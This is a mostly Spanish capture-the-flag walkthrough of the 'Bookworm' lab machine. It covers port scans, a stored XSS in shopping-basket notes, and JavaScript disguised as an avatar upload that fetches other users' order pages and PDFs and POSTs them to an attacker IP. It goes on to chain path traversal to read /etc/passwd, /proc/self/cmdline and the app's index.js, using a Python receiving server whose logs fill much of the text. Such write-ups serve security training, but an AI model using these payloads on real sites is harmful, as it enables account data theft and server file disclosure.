Bookworm

nmap

```
 sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.215 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 18:11 CEST
Initiating SYN Stealth Scan at 18:11
Scanning 10.10.11.215 [65535 ports]
Discovered open port 22/tcp on 10.10.11.215
Discovered open port 80/tcp on 10.10.11.215
Completed SYN Stealth Scan at 18:11, 26.04s elapsed (65535 total ports)
Nmap scan report for 10.10.11.215
Host is up, received user-set (3.0s latency).
Scanned at 2023-06-12 18:11:20 CEST for 25s
Not shown: 58988 closed tcp ports (reset), 6545 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.15 seconds
           Raw packets sent: 109604 (4.823MB) | Rcvd: 73782 (2.951MB)
```

```
nmap -p22,80 -sCV 10.10.11.215 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 18:12 CEST
Nmap scan report for 10.10.11.215
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 811d2235dd2115644a1fdc5c9c66e5e2 (RSA)
|   256 01f90d3c221d948306a4967a011c9ea1 (ECDSA)
|_  256 647d17179179f6d7c48774f8a216f7cf (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://bookworm.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.02 seconds
```

web

add bookworm.htb /etc/hosts.

Nos registramos en la web e iniciamos sesión.

Una vez hecho esto nos permite comprar libros. Algo que llama la atención es que podemos ver que hay bots que añaden libros a la cesta.

De hecho, si miramos el código fuente en la ruta /shop, podemos ver que tienen asociados unos ID.
#Let´s try.

Cuando hemos añadido un libro en la cesta podemos poner una nota, lo que podemos probar es realizar un XSS.

```
sudo python3 -m http.server 80
```

escribe en la nota:

```
<img src="http://10.10.16.33/?">
```

Y como podemos comprobar nos llega la petición a nuestra web, pero de momento no es relevante, ya que la petición es desde nuestra misma IP.

```
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.215 - - [15/Jun/2023 13:49:00] "GET /? HTTP/1.1" 200 -
```

Miramos el ID cuando algún bot haya añadido un libro a la cesta.

Iniciamos Burpsuite para interceptar la petición, cambiando el ID de la ruta al 467 en este caso.

Y una vez realizados los cambios del ID y tramitada nos llegará la petición a nuestro servidor web.

Copiamos el código y en el campo filename añadimos %00.

pdf_scrapping

#On bursuite go to /avatar and see, we can upload an avatar.
#Let´s inject js code on the POST request.

script.js

```
function get_orders(html_page){
  // Create a new DOMParser instance
  const parser = new DOMParser();
  // HTML string to be parsed
  const htmlString = html_page;
  // Parse the HTML string
  const doc = parser.parseFromString(htmlString, 'text/html');
  // Find all the anchor tags within the table body
  const orderLinks = doc.querySelectorAll('tbody a');
  // Extract the URLs and store them in an array
  const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));

  return orderUrls;
}

function getDownloadURL(html) {
  // Create a temporary container element to parse the HTML
  const container = document.createElement('div');
  container.innerHTML = html;

  // Use querySelector to select the download link element
  const downloadLink = container.querySelector('a[href^="/download"]');

  // Extract the download URL
  const downloadURL = downloadLink ? downloadLink.href : null;

  return downloadURL;
}

function fetch_url_to_attacker(url){
  var attacker = "http://10.10.X.X:80/?url=" + encodeURIComponent(url);

  fetch(url).then(
    async response=>{
      fetch(attacker, {method:'POST', body: await response.arrayBuffer()})
    }
  );
}

function get_pdf(url){
  fetch(url).then(
    async response=>{
        fetch_url_to_attacker(getDownloadURL(await response.text()));
    })
}

fetch("http://10.10.X.X:80/?trying")
fetch("http://bookworm.htb/profile").then(
  async response=>{
    for (const path of get_orders(await response.text())){
      fetch_url_to_attacker("http://bookworm.htb" + path);
      get_pdf("http://bookworm.htb" + path);
    }
  }
)
```

#Copiamos el código y en el campo filename añadimos %00.
#Importante: Content Type: image/jpeg

Una vez guardada la imagen de nuestro perfil, podremos descubrir la ruta de su contenido, que si todo está bien debería ser el JS. Realizamos el XSS apuntando hacia la ruta de nuestra imagen de perfil y deberemos realizar los pasos anteriores (Coger el ID de un bot y tramitar el XSS mediante el mismo).

#Cogemos el id de un bot y lo añadimos en el campo POSt /basquet/ID/edit junto con el contenido :
quantity=1&note=%3Cscript+src%3D%22%2Fstatic%2Fimg%2Fuploads%2F14%22%3E%3C%2Fscript%3E

Luego en el sevidor deveríamos ver:

```
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.215 - - [15/Jun/2023 13:49:00] "GET /? HTTP/1.1" 200 -
10.10.14.62 - - [15/Jun/2023 14:06:12] "GET /?trying HTTP/1.1" 200 -
10.10.11.215 - - [15/Jun/2023 14:09:47] "GET /?trying HTTP/1.1" 200 -
10.10.11.215 - - [15/Jun/2023 14:09:47] code 501, message Unsupported method ('POST')
10.10.11.215 - - [15/Jun/2023 14:09:47] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F4 HTTP/1.1" 501 -
```

```
10.10.11.215 - - [15/Jun/2023 14:09:47] code 501, message Unsupported method ('POST')
10.10.11.215 - - [15/Jun/2023 14:09:47] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F5 HTTP/1.1" 501 -
10.10.11.215 - - [15/Jun/2023 14:09:47] code 501, message Unsupported method ('POST')
10.10.11.215 - - [15/Jun/2023 14:09:47] code 501, message Unsupported method ('POST')
10.10.11.215 - - [15/Jun/2023 14:09:47] code 501, message Unsupported method ('POST')
10.10.11.215 - - [15/Jun/2023 14:09:47] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F6 HTTP/1.1" 501 -
10.10.11.215 - - [15/Jun/2023 14:09:47] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F4%3FbookIds%3D5 HTTP/1.1"
501 -
10.10.11.215 - - [15/Jun/2023 14:09:47] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F298 HTTP/1.1" 501 -
10.10.11.215 - - [15/Jun/2023 14:09:47] code 501, message Unsupported method ('POST')
10.10.11.215 - - [15/Jun/2023 14:09:47] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F5%3FbookIds%3D6 HTTP/1.1"
501 -
10.10.11.215 - - [15/Jun/2023 14:09:47] code 501, message Unsupported method ('POST')
10.10.11.215 - - [15/Jun/2023 14:09:47] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F6%3FbookIds%3D8 HTTP/1.1"
501 -
10.10.11.215 - - [15/Jun/2023 14:09:47] code 501, message Unsupported method ('POST')
10.10.11.215 - - [15/Jun/2023 14:09:47] "POST /?url=null HTTP/1.1" 501 -
```

Podemos probar a realizar un LFI concatenado del XSS anterior, modificamos el archivo anterior y añadimos la *query* de los PDF para que apunte a un archivo que nosotros queramos obtener, como por ejemplo el /etc/passwd.

#En el script modificaremos la línea:

```
// Extract the download URL
  // const downloadURL = downloadLink ? downloadLink.href : null;
  const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) +
".&bookIds=../../../../../../../../etc/passwd" : null;
```

script.py

script.py

```
import requests
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import random

class RequestHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])

        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)

        filename = 'temp' + str(random.randint(0, 9999))
        with open(filename, 'wb') as f:
            f.write(post_data)
        print("Non-ASCII characters detected!! Content written to ./{} file instead.".format(filename))

        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b'POST request received')

    def do_GET(self):
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])

        SimpleHTTPRequestHandler.do_GET(self)

def run_server():
    server_address = ('', 80)
    httpd = HTTPServer(server_address, RequestHandler)
    print('Server running on http://localhost:80')

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        httpd.server_close()
        print('Server stopped')

def fetch_url_to_server(url):
    response = requests.get(url)
    post_data = response.content

    server_url = "http://localhost:80/?url=" + url
    requests.post(server_url, data=post_data)

if __name__ == '__main__':
    run_server()
```

#Realizamos los pasos anteriormente realizados (Subir el JS a la imagen del perfil, obtener ID de bot, realizar XSS, interceptar con¬†*Burpsuite*, modificar ID y enviar).
Una vez realizados todos esos pasos deberíamos obtener esto.
#Luego de tener el script repeir los pasos anteriores para conseguir los ficheros temp programados en el script.

```
 python3 script.py
Server running on http://localhost:80
10.10.11.215 - - [15/Jun/2023 14:30:25] "GET /?trying HTTP/1.1" 200 -
http://bookworm.htb/order/13
Non-ASCII characters detected!! Content written to ./temp2858 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F13 HTTP/1.1" 200 -
http://bookworm.htb/order/15
Non-ASCII characters detected!! Content written to ./temp8230 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F15 HTTP/1.1" 200 -
http://bookworm.htb/order/306
Non-ASCII characters detected!! Content written to ./temp6184 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F306 HTTP/1.1" 200 -
http://bookworm.htb/order/14
Non-ASCII characters detected!! Content written to ./temp3037 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F14 HTTP/1.1" 200 -
http://bookworm.htb/order/13
Non-ASCII characters detected!! Content written to ./temp3399 file instead.
```

```
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F13 HTTP/1.1" 200 -
http://bookworm.htb/order/15
Non-ASCII characters detected!! Content written to ./temp2869 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F15 HTTP/1.1" 200 -
http://bookworm.htb/download/13?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp5590 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F13%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/order/14
Non-ASCII characters detected!! Content written to ./temp8853 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F14 HTTP/1.1" 200 -
http://bookworm.htb/download/15?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp3425 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F15%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/download/14?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp590 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F14%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/order/306
Non-ASCII characters detected!! Content written to ./temp6171 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F306 HTTP/1.1" 200 -
10.10.11.215 - - [15/Jun/2023 14:30:25] "GET /?trying HTTP/1.1" 200 -
http://bookworm.htb/order/13
Non-ASCII characters detected!! Content written to ./temp4696 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F13 HTTP/1.1" 200 -
http://bookworm.htb/download/13?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp3489 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F13%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
null
Non-ASCII characters detected!! Content written to ./temp7434 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=null HTTP/1.1" 200 -
http://bookworm.htb/order/15
Non-ASCII characters detected!! Content written to ./temp9229 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F15 HTTP/1.1" 200 -
http://bookworm.htb/order/14
Non-ASCII characters detected!! Content written to ./temp5382 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F14 HTTP/1.1" 200 -
http://bookworm.htb/download/15?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp8253 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F15%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/download/14?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp9697 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F14%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/order/306
Non-ASCII characters detected!! Content written to ./temp2495 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F306 HTTP/1.1" 200 -
null
Non-ASCII characters detected!! Content written to ./temp1887 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=null HTTP/1.1" 200 -
http://bookworm.htb/download/13?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp3191 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F13%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/download/15?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp2101 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F15%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/download/14?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp6046 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F14%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
null
Non-ASCII characters detected!! Content written to ./temp58 file instead.
10.10.11.215 - - [15/Jun/2023 14:30:25] "POST /?url=null HTTP/1.1" 200 -
10.10.11.215 - - [15/Jun/2023 14:30:25] "GET /?trying HTTP/1.1" 200 -
```

Si comprobamos el tipo de archivo que son, 3 de ellos son ZIP.

```
file *
allPorts:   ASCII text
ip.txt:     ASCII text
req01.txt: ASCII text
req02.txt: ASCII text
script.js: ASCII text
script.py: Python script, ASCII text executable
temp58:     HTML document, Unicode text, UTF-8 text
temp590:    Zip archive data, at least v1.0 to extract, compression method=store
temp1887:   HTML document, Unicode text, UTF-8 text
temp2101:   Zip archive data, at least v1.0 to extract, compression method=store
temp2495:   HTML document, Unicode text, UTF-8 text
temp2858:   HTML document, Unicode text, UTF-8 text
temp2869:   HTML document, Unicode text, UTF-8 text
temp3037:   HTML document, Unicode text, UTF-8 text
temp3191:   Zip archive data, at least v1.0 to extract, compression method=store
temp3399:   HTML document, Unicode text, UTF-8 text
temp3425:   Zip archive data, at least v1.0 to extract, compression method=store
temp3489:   Zip archive data, at least v1.0 to extract, compression method=store
temp4696:   HTML document, Unicode text, UTF-8 text
temp5382:   HTML document, Unicode text, UTF-8 text
temp5590:   Zip archive data, at least v1.0 to extract, compression method=store
temp6046:   Zip archive data, at least v1.0 to extract, compression method=store
temp6171:   HTML document, Unicode text, UTF-8 text
temp6184:   HTML document, Unicode text, UTF-8 text
temp7434:   HTML document, Unicode text, UTF-8 text
temp8230:   HTML document, Unicode text, UTF-8 text
temp8253:   Zip archive data, at least v1.0 to extract, compression method=store
temp8853:   HTML document, Unicode text, UTF-8 text
temp9229:   HTML document, Unicode text, UTF-8 text
temp9697:   Zip archive data, at least v1.0 to extract, compression method=store
xxs2.txt:   ASCII text
xxs.txt:    HTML document, ASCII text
```

/etc/passwd

#Les cambiamos el nombre y les añadimos el .zip.

```
unzip zip0.zip
Archive:  zip0.zip
   creating: Unknown.pdf/
replace Unknown.pdf? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: passwd
  inflating: passwd
```

#Luego podreomos ver los usuarios.

```
cat ./passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
frank:x:1001:1001:,,,:/home/frank:/bin/bash
neil:x:1002:1002:,,,:/home/neil:/bin/bash
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
james:x:1000:1000:,,,:/home/james:/bin/bash
```

LFI

Una vez comprobado el LFI podremos listar procesos activos en la máquina, así que añadiremos lo siguiente al archivo y volveremos a realizar todos los procesos.

```
#Modificamos el script.js con la siguiente línea.
```

```
".&bookIds=../../../../../../../../proc/self/cmdline"
```

```
python3 script.py
Server running on http://localhost:80
10.10.11.215 - - [15/Jun/2023 15:53:54] "GET /?trying HTTP/1.1" 200 -
http://bookworm.htb/order/1
Non-ASCII characters detected!! Content written to ./temp8180 file instead.
10.10.11.215 - - [15/Jun/2023 15:53:54] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F1 HTTP/1.1" 200 -
http://bookworm.htb/order/3
Non-ASCII characters detected!! Content written to ./temp89 file instead.
10.10.11.215 - - [15/Jun/2023 15:53:54] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F3 HTTP/1.1" 200 -
http://bookworm.htb/order/2
Non-ASCII characters detected!! Content written to ./temp4745 file instead.
10.10.11.215 - - [15/Jun/2023 15:53:54] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F2 HTTP/1.1" 200 -
http://bookworm.htb/order/339
Non-ASCII characters detected!! Content written to ./temp1132 file instead.
10.10.11.215 - - [15/Jun/2023 15:53:54] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F339 HTTP/1.1" 200 -
http://bookworm.htb/download/1?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp594 file instead.
10.10.11.215 - - [15/Jun/2023 15:53:54] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F1%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HTTP/1.1" 200 -
http://bookworm.htb/download/3?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp4247 file instead.
10.10.11.215 - - [15/Jun/2023 15:53:54] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F3%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HTTP/1.1" 200 -
http://bookworm.htb/download/2?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp8842 file instead.
10.10.11.215 - - [15/Jun/2023 15:53:54] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F2%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HTTP/1.1" 200 -
null
Non-ASCII characters detected!! Content written to ./temp2552 file instead.
10.10.11.215 - - [15/Jun/2023 15:53:54] "POST /?url=null HTTP/1.1" 200 -

unzip zip0.zip
Archive:  zip0.zip
replace Unknown.pdf? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: process
  inflating: process

  cat process
/usr/bin/nodeindex.js
```

Mediante *hexedit* puedo leer que hay un proceso que involucra un *index.js*, así que intentaremos obtener dicho archivo.

Modificamos el archivo de JS para poder realizar el LFI.

```
#Modificamos la línea:
```

```
".&bookIds=../../../../../../../../proc/self/cwd/
index.js"
```

```
python3 script.py
Server running on http://localhost:80
10.10.11.215 - - [15/Jun/2023 16:04:01] "GET /?trying HTTP/1.1" 200 -
http://bookworm.htb/order/13
Non-ASCII characters detected!! Content written to ./temp7444 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F13 HTTP/1.1" 200 -
http://bookworm.htb/order/14
Non-ASCII characters detected!! Content written to ./temp2145 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F14 HTTP/1.1" 200 -
http://bookworm.htb/order/15
Non-ASCII characters detected!! Content written to ./temp6086 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F15 HTTP/1.1" 200 -
http://bookworm.htb/order/13
```

```
Non-ASCII characters detected!! Content written to ./temp640 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F13 HTTP/1.1" 200 -
http://bookworm.htb/order/342
Non-ASCII characters detected!! Content written to ./temp2501 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F342 HTTP/1.1" 200 -
http://bookworm.htb/order/343
Non-ASCII characters detected!! Content written to ./temp2279 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F343 HTTP/1.1" 200 -
http://bookworm.htb/download/13?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp285 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F13%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 -
http://bookworm.htb/order/15
Non-ASCII characters detected!! Content written to ./temp9349 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F15 HTTP/1.1" 200 -
http://bookworm.htb/order/14
Non-ASCII characters detected!! Content written to ./temp8390 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F14 HTTP/1.1" 200 -
10.10.11.215 - - [15/Jun/2023 16:04:01] "GET /?trying HTTP/1.1" 200 -
http://bookworm.htb/download/14?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp3607 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F14%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 -
http://bookworm.htb/download/15?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp8926 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F15%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 -
http://bookworm.htb/download/13?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp5837 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F13%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 -
http://bookworm.htb/order/342
Non-ASCII characters detected!! Content written to ./temp4725 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F342 HTTP/1.1" 200 -
http://bookworm.htb/download/14?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp6448 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F14%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 -
http://bookworm.htb/download/15?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp4527 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F15%3FbookIds%3D.
%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 -
http://bookworm.htb/order/343
Non-ASCII characters detected!! Content written to ./temp8746 file instead.
10.10.11.215 - - [15/Jun/2023 16:04:01] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F343 HTTP/1.1" 200 -
```

```
mv temp285 zip4.zip
unzip zip2.zip
Archive:  zip2.zip
replace Unknown.pdf? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: index.js
  inflating: index.js
```

```
cat index.js | grep database
```

